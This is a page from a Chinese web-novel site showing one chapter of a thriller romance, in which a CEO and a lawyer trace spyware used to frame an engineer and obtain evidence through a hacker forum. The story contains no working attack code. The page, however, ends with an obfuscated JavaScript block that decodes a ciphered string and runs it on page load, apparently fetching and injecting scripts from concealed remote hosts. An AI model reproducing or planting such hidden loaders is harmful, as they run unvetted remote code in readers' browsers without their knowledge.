首页

[切换至繁体版]

返回

关灯 护眼:开 字号:中

第0193章溯源代码

下载APP,无广告、完整阅读
    第0193章溯源代码(第1/2页)
    午夜一点,苏砚的办公室里只剩下电脑屏幕幽蓝色的光。
    墙上的投影布显示着复杂的数据流向图,红色的线条从“技术总监-周明宇”的节点延伸出去,分成十几条支流,连接到不同的IP地址、银行账户、加密'通讯号。但其中有两条线,在抵达某个海外服务器节点后,突然转向,绕了一个大圈,最终回流向一个标记为“X”的未知终端。
    “这是……”陆时衍站在投影前,眉头紧锁。他已经在这间办公室里待了三个小时,西装外套搭在椅背上,衬衫袖口挽到手肘,领带松开了些,露出喉结的弧度。
    “反向溯源的结果。”苏砚坐在办公桌后,双手在键盘上快速敲击。她换了身黑色的丝质衬衫,头发随意扎在脑后,露出线条优美的脖颈。屏幕的光映在她脸上,让她的表情看起来有些冷硬,但眼底闪烁着某种近乎亢奋的光——那是猎手发现猎物踪迹时的眼神。
    “周明宇泄露给原告的那份专利文件,表面上是从他的工作终端直接发出去的,但我在底层日志里发现,发送指令的实际发出地,是另一台伪装成公司内部服务器的设备。”苏砚调出另一张图,上面是密密麻麻的时间戳和代码行,“看这里,指令发出前0.3秒,这台伪装服务器向周明宇的终端发送了一个强制弹窗请求,要求他输入二次验证码。周明宇输入后,弹窗自动关闭,同时,专利文件被发送。”
    “所以是有人远程操控了他的电脑?”陆时衍问。
    “不全是。”苏砚站起身,走到白板前,拿起记号笔,“如果只是远程操控,周明宇会察觉。对方的手段更高明——他们在周明宇的电脑里植入了一个‘镜像程序’。这个程序会实时复制周明宇的所有操作,包括他打开的文件、输入的内容、甚至鼠标移动轨迹。然后,在特定时间点,程序会暂时接管控制权,执行预设的指令。等指令去完成,再把控制权悄无声息地还回去。整个过程不超过五秒,用户只会觉得电脑卡了一下,不会多想。”
    她在白板上画出示意图:“周明宇那天晚上加班,确实打开了专利文件做最终校对。但他没发送。是镜像程序在他离开座位去倒咖啡的三分钟里,用他的账号、他的IP地址,把文件发了出去。所以从技术日志上看,一切行为都符合他的操作习惯,连输入法的打字节奏都模拟得一模一样。”
    陆时衍盯着那张图,后背有些发凉。这种精密的算计,已经超出了普通商业间谍的范畴。对方不仅要技术,还要把周明宇钉死在“内鬼”的位置上,让他百口莫辩。
    “能追踪到镜像程序的来源吗?”
    “能,但需要时间。”苏砚回到电脑前,调出一个进度条,“我在周明宇电脑的缓存区找到了一小段被删除的代码碎片,应该是程序自毁时没清理干净。我用AI做了逆向还原,现在已经恢复了70%。等完全恢复,就能分析出程序的编写风格、使用的加密算法、甚至可能找到开发者的数字指纹。”
    进度条缓慢爬升,71%,72%……
    陆时衍走到窗边,看着窗外的城市夜景。这个时间,大部分写字楼已经熄灯,只有零星的窗户还亮着,像散落在黑色天鹅绒上的钻石。但他的思绪不在景色上。
    “苏砚,”他忽然开口,“你刚才说,程序模拟了周明宇的打字节奏。”
    “对。”
    “每个人的打字节奏都是独一无二的,就像指纹。要模拟到连系统日志都识别不出来的程度,需要海量的行为数据做训练。”陆时衍转过身,看着她,“对方至少监控了周明宇三个月,甚至更久。而且,必须在周明宇的电脑里植入硬件或软件级别的监控程序,才能收集到那么细致的数据。”
    苏砚的手指停在键盘上。她抬起头,和陆时衍的目光在空气中相撞。
    “你的意思是,”她缓缓说,“内鬼不止周明宇一个。至少还有一个权限更高的人,能长期、不受怀疑地接触周明宇的电脑,或者……能接触到公司的内部监控系统。”
    “或者两者都是。”陆时衍走回办公桌前,双手撑在桌沿,身体前倾,“周明宇是技术总监,能接触他电脑的人不多,但也不少——IT部门的运维,他的助理,偶尔来他办公室开会的其他高管。但能接触到公司内部监控系统的,级别一定不低。而且这个人必须对周明宇的工作习惯了如指掌,知道他什么时候加班,什么时候会离开座位,甚至知道他喝咖啡要几分钟。”
    办公室里安静下来,只有服务器机柜低沉的嗡鸣声,和空调出风口细微的风声。投影布上的数据流还在缓缓滚动,红色的线条像血管,也像蛛网。
    “我需要一份名单,”苏砚说,“过去半年内,所有接触过周明宇电脑的人,以及所有有权限调取内部监控记录的人。”
    “我已经让助理在整理了。”陆时衍直起身,从公文包里拿出一个平板电脑,划开屏幕,递给苏砚,“这是初步名单,二十三个人。绿色标记的是我初步排除的,黄色是可疑,红色是重点。”
    苏砚接过平板,快速浏览。名单很详细,每个人的职位、入职时间、近期行踪、与周明宇的工作交集,都列得清清楚楚。她注意到,红色标记的有四个人:首席技术官(CTO)张维、信息安全主管李峰、周明宇的助理陈小雨,以及……她自己公司的副总裁,王启明。
    “王启明?”苏砚的眉头皱起来,“他负责市场和商务,按理说不该接触技术部的核心数据。”
    “但他上个月以‘了解技术进展以便制定市场策略’为由,申请了临时权限,可以查阅技术部的非涉密文档。”陆时衍指着王启明名字后面的一行备注,“而且,根据门禁记录,他在专利泄露案发生前一周,连续三个晚上在技术部加班到十点以后。理由是……和海外团队开视频会议。”
    “海外团队?”苏砚冷笑,“我们和海外团队的会议都在白天,因为有时差。晚上十点,那边是凌晨,开什么会?”
    “所以可疑。”陆时衍说,“但光有门禁记录不够,我们需要证据。”
    苏砚放下平板,重新看向电脑屏幕。进度条已经到了89%。她深吸一口气,手指在键盘上悬停了几秒,然后敲下回车键。
    “那就找证据。”
    代码逆向还原完成。屏幕上弹出一个黑色的命令窗口,绿色的字符飞速滚动。苏砚全神贯注地盯着,手指偶尔在键盘上敲击几下,调整参数。陆时衍站在她身后,虽然看不懂那些代码,但他能看出苏砚的表情在变化——从专注,到疑惑,到……震惊。
    “找到了。”苏砚的声音很轻,几乎像自言自语。
    “什么?”
    “数字指纹。”她调出一个对比窗口,左边是刚还原出的镜像程序代码特征,右边是另一个代码库的样本,“这个程序的加密算法,用的是‘黑曜石3.0’框架。这不是开源框架,是某个地下黑客组织的私有产品,不对外流通。要用这个框架,要么是组织成员,要么……是从成员那里买的。”
    “能查到买家吗?”
    “难,但可以试试。”苏砚打开一个深色背景的网站,界面全是英文和代码,看起来像是某种地下论坛的交易板块。她登录了一个账号,ID显示为“Scribe”(抄写员)。
    陆时衍有些意外:“你还有这种渠道?”
    “创业初期,被人黑过服务器。”苏砚头也不回,手指在键盘上飞舞,“那时候没钱请顶级安全团队,只能自己学,混进这些地方找线索。后来公司做大了,这个账号一直留着,偶尔能听到些风声。”
    (本章未完,请点击下一页继续阅读)第0193章溯源代码(第2/2页)
    她在搜索框输入“黑曜石3.0”,敲回车。页面跳转,显示出十几条交易记录,时间跨度从去年到上个月。大部分记录都很模糊,只标注了交易金额和大致用途,买家和卖家的ID都是加密的。
    但其中一条记录引起了苏砚的注意。
    交易时间:三个月前。
    交易物品:黑曜石3.0框架+定制化服务。
    交易金额:200BTC(比特币)。
    买家ID:(已加密)。
    卖家ID:GhostWriter(幽灵写手)。
    备注:需模拟特定用户行为模式,数据已提供。
    “GhostWriter……”苏砚念出这个ID,“我听说过这个人。专门接高难度的定制化攻击任务,收费极高,但从不失手。据说他是前情报机构的程序员,退休后干这行。”
    “能联系上吗?”
    “我试试。”苏砚点开私信界面,输入了一段话。陆时衍凑近看,内容是用英文写的:“关于三个月前的那单黑曜石定制,雇主提供的用户行为数据,是否有备份?我愿意出双倍价格购买。”
    发送。
    几分钟后,回复来了。只有一行字:
    “规矩是规矩。数据销毁,不留痕。”
    苏砚抿了抿唇,又输入:“如果我能提供雇主违约的证据呢?他用了你的代码,但没付尾款。”
    这次回复很快:“证据?”
    苏砚看向陆时衍。陆时衍立刻明白她的意思,从公文包里拿出一个U盘,插进电脑。里面是原告方提交的证据文件,包括那份被泄露的专利文档。苏砚截取了文档属性页,上面显示着创建时间、修改时间、最后访问时间——但这些时间戳,陆时衍之前就发现有问题。
    “看这里,”陆时衍指着修改时间,“这份文档的最后修改时间,显示是晚上十一点三十七分。但周明宇那天的门禁记录显示,他十一点就离开公司了。而且,他走的时候,监控拍到他手里拿着车钥匙和公文包,没有带工作电脑。”
    苏砚把这张截图发过去,附言:“雇主用你的代码伪造了操作记录,但忽略了物理时间线。现在这个漏洞被对方律师抓住了,案子可能会败诉。如果他败诉,你的尾款还能拿到吗?”
    这次,对方沉默了整整五分钟。
    就在苏砚以为不会再有回复时,聊天窗口弹出一个文件传输请求。是一个加密压缩包,密码随其后发来。
    苏砚下载,解压。里面是一个文件夹,名称是“Client_Data_2023_10”。打开,里面是几十个数据文件,包括键盘敲击记录、鼠标移动轨迹、屏幕截图、甚至还有一段三分钟的摄像头录像——录像里,周明宇坐在电脑前,正在修改专利文档的某个参数。
    “这是……”陆时衍瞳孔一缩。
    “雇主提供给GhostWriter的训练数据。”苏砚快速浏览着文件,“有了这些,就能证明周明宇的电脑长期被监控,他的行为数据被窃取并用于训练那个镜像程序。这不是内鬼泄密,是精心策划的栽赃。”
    “但这些数据能作为法律证据吗?”陆时衍问,“来源是非法黑客交易,取证程序有问题。”
    “不能直接作为证据,但可以给我们指明方向。”苏砚关掉文件夹,看向陆时衍,“现在我们知道,对方为了陷害周明宇,提前监控了他至少三个月。那么,谁有能力在公司内部安装监控程序,连续三个月不被发现?谁又能接触到周明宇的电脑,在他不知情的情况下收集这些数据?”
    两人的目光再次交汇。答案几乎呼之欲出。
    “权限足够高,能接触所有员工的电脑。”
    “熟悉技术部的安保漏洞。”
    “而且,有动机——周明宇如果倒台,谁受益最大?”
    苏砚重新打开那份名单,鼠标光标在“王启明”的名字上悬停。但她的手指没有点下去,而是缓缓移动,停在了另一个名字上。
    张维。首席技术官。周明宇的直属上司。
    如果周明宇因为泄密被开除,甚至坐牢,那么技术部最大的污点就被清除了。张维作为CTO,虽然要负领导责任,但只要他“大义灭亲”,把自己摘干净,反而能巩固位置。而且,张维有最高级别的系统权限,能在任何员工的电脑里安装任何程序,而不触发警报。
    “但动机呢?”陆时衍提出疑问,“张维已经是CTO了,再往上就是你的位置。他没必要冒这么大风险,就为了陷害一个下属。”
    “除非,”苏砚的声音很冷,“周明宇发现了什么不该发现的东西。或者……张维背后还有人,许诺了他更大的利益。”
    墙上的时钟指向凌晨两点四十七分。窗外的城市又熄灭了一些灯火,夜色更浓了。
    苏砚关掉所有窗口,合上电脑。办公室里只剩下应急灯微弱的光,勾勒出家具模糊的轮廓。她靠在椅背上,闭上眼睛,揉了揉太阳穴。
    “累了?”陆时衍问。
    “有点。”苏砚睁开眼,看着他,“你呢?还不回去?”
    “等你先走。”陆时衍说,“你现在是某些人的眼中钉,一个人走夜路不安全。”
    苏砚看了他几秒,忽然笑了。那笑容很淡,很疲惫,但眼睛里有一点真实的笑意。
    “陆律师,你这是在保护证人,还是在保护……”
    “保护合作伙伴。”陆时衍打断她,语气很自然,“案子还没赢,你不能出事。”
    苏砚没再说话。她站起身,拿起搭在椅背上的外套。陆时衍也穿上西装外套,整理领带。两人一前一后走出办公室,走廊的感应灯随着他们的脚步依次亮起。
    电梯下行时,镜面墙壁映出两人的身影。苏砚看着镜子里站在自己斜后方的陆时衍,他微微低着头,侧脸线条在冷白色的灯光下显得格外清晰。
    “陆时衍。”她忽然叫他的名字。
    “嗯?”
    “谢谢。”
    陆时衍抬起头,在镜子里对上她的眼睛。
    “不客气。”他说。
    电梯到达地下停车场。门开了,凉飕飕的空气涌进来。陆时衍很自然地走到苏砚外侧,目光扫过停车场里零星的几辆车。他的车停在离电梯不远的地方,一辆黑色的轿车,很低调。
    “我送你回去。”他说,不是询问,是陈述。
    苏砚这次没有拒绝。
    车子驶出地下车库,融入凌晨空旷的街道。路灯的光透过车窗,在两人脸上投下流动的光影。谁都没说话,但空气里有一种奇异的平静,像暴风雨来临前那片刻的寂静。
    苏砚靠在副驾驶座上,看着窗外飞速后退的城市轮廓。她知道,明天的太阳升起时,这场战争将进入新的阶段。但此刻,在这个密闭的空间里,在这个人身边,她允许自己暂时卸下盔甲,只是做一个累了的人。
    车子在一个红灯前停下。陆时衍侧过脸,看了她一眼。苏砚闭着眼睛,睫毛在眼下投出浅浅的阴影,呼吸平稳。
    他没叫醒她,只是调高了空调温度,把音乐声调到几乎听不见。
    绿灯亮起。车子重新启动,驶向城市深处,驶向那个即将到来的、充满未知的黎明。

一秒记住【882小说网】
882xsw.com,更新快,无弹窗!

章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();